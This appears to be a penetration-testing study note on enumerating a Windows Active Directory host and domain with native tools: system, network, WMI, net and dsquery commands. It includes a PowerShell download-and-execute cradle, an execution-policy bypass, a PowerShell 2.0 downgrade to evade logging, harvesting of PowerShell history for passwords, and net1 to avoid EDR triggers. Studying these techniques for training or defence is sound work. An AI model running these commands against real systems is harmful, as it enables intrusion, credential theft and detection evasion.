Utilizing native Windows tools to perform our enumeration.
LDAP Filtering
We might notice when querying LDAP we’ll find some strings such as userAccountControl:1.2.840.113556.1.4.803:=8192.
- specifies that we are looking at the User Account Control (UAC) attributes for an object
- 8192 represents the decimal bitmask we want to match in this search, this decimal number determines if an attribute is like password is not required or the account is locked.
- OID rules are to match bit values with attributes.
- Logical opreators can be used to build search strings
Host and Network Recon
| Command | Result |
|---|---|
hostname | Prints the PC’s Name |
[System.Environment]::OSVersion.Version | Prints out the OS version and revision level |
wmic qfe get Caption,Description,HotFixID,InstalledOn | Prints the patches and hotfixes applied to the host |
ipconfig /all | Prints out network adapter state and configurations |
set | Displays a list of environment variables for the current session (ran from CMD-prompt) |
echo %USERDOMAIN% | Displays the domain name to which the host belongs (ran from CMD-prompt) |
echo %logonserver% | Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |
Powershell
| Cmd-Let | Description |
|---|---|
Get-Module | Lists available modules loaded for use. |
Get-ExecutionPolicy -List | Will print the execution policy settings for each scope on a host. |
Set-ExecutionPolicy Bypass -Scope Process | This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won’t be making a permanent change to the victim host. |
Get-ChildItem Env: | ft Key,Value | Return environment values such as key paths, users, computer information, etc. |
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt | With this string, we can get the specified user’s PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords. |
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>" | This is a quick and easy way to download a file from the web using PowerShell and call it from memory. |
| If Script Block Logging is enabled everything we type into the terminal get sent to the log. We can downgrade Powershell to evade detection since Powershell version 2.0 does not log commands into the Event Viewer. |
Get-Host
# downgrade
powershell.exe -version 2
# confirm
Get-hostChecking Defenses
# check firewall in cmd
netsh advfirewall shwo allprofiles
# windows defender check from cmd
sc query windefend
# powershell
Get-MpComputerStatusCheck Logged In Users
If someone is taking actions from a host someone else is on, there is the potential for them to notice you.
qwinstaNetwork Information
| Networking Commands | Description |
|---|---|
arp -a | Lists all known hosts stored in the arp table. |
ipconfig /all | Prints out adapter settings for the host. We can figure out the network segment from here. |
route print | Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host. |
netsh advfirewall show allprofiles | Displays the status of the host’s firewall. We can determine if it is active and filtering traffic. |
Windows Management Instrumentation (WMI)
Scripting engine that is used within enterprise environments to retrieve information and run administrative tasks on local and remote hosts.
| Command | Description |
|---|---|
wmic qfe get Caption,Description,HotFixID,InstalledOn | Prints the patch level and description of the Hotfixes applied |
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List | Displays basic host information to include any attributes within the list |
wmic process list /format:list | A listing of all processes on host |
wmic ntdomain list /format:list | Displays information about the Domain and Domain Controllers |
wmic useraccount list /format:list | Displays information about all local accounts and any domain accounts that have logged into the device |
wmic group list /format:list | Information about all local groups |
wmic sysaccount list /format:list | Dumps information about any system accounts that are being used as service accounts. |
Net
Enumerate information from the domain. net.exe commands are typically monitored by EDR solutions and can quickly give up our location if evasion is necessary.
| Command | Description |
|---|---|
net accounts | Information about password requirements |
net accounts /domain | Password and lockout policy |
net group /domain | Information about domain groups |
net group "Domain Admins" /domain | List users with domain admin privileges |
net group "domain computers" /domain | List of PCs connected to the domain |
net group "Domain Controllers" /domain | List PC accounts of domains controllers |
net group <domain_group_name> /domain | User that belongs to the group |
net groups /domain | List of domain groups |
net localgroup | All available groups |
net localgroup administrators /domain | List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default) |
net localgroup Administrators | Information about a group (admins) |
net localgroup administrators [username] /add | Add user to administrators |
net share | Check current shares |
net user <ACCOUNT_NAME> /domain | Get information about a user within the domain |
net user /domain | List all users of the domain |
net user %username% | Information about the current user |
net use x: \computer\share | Mount the share locally |
net view | Get a list of computers |
net view /all /domain[:domainname] | Shares on the domains |
net view \computer /ALL | List shares of a computer |
net view /domain | List of PCs of the domain |
If network defenders are actively logging for any commands out of normal using net1 instead of net will execute the same functions without the potential trigger from the net string. |
Dsquery
Command-line tool that can be used to find AD objects. It will exist on any host with ADDS Role installed, and most modern Windows systems have the DLL.
We need elevated privileges on a host to run an instance of command prompt from a SYSTEM context.
# user search
dsquery user
# computer search
dsquery computer
# wildcard search
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
# users with specific attributes
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
# domain controllers
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName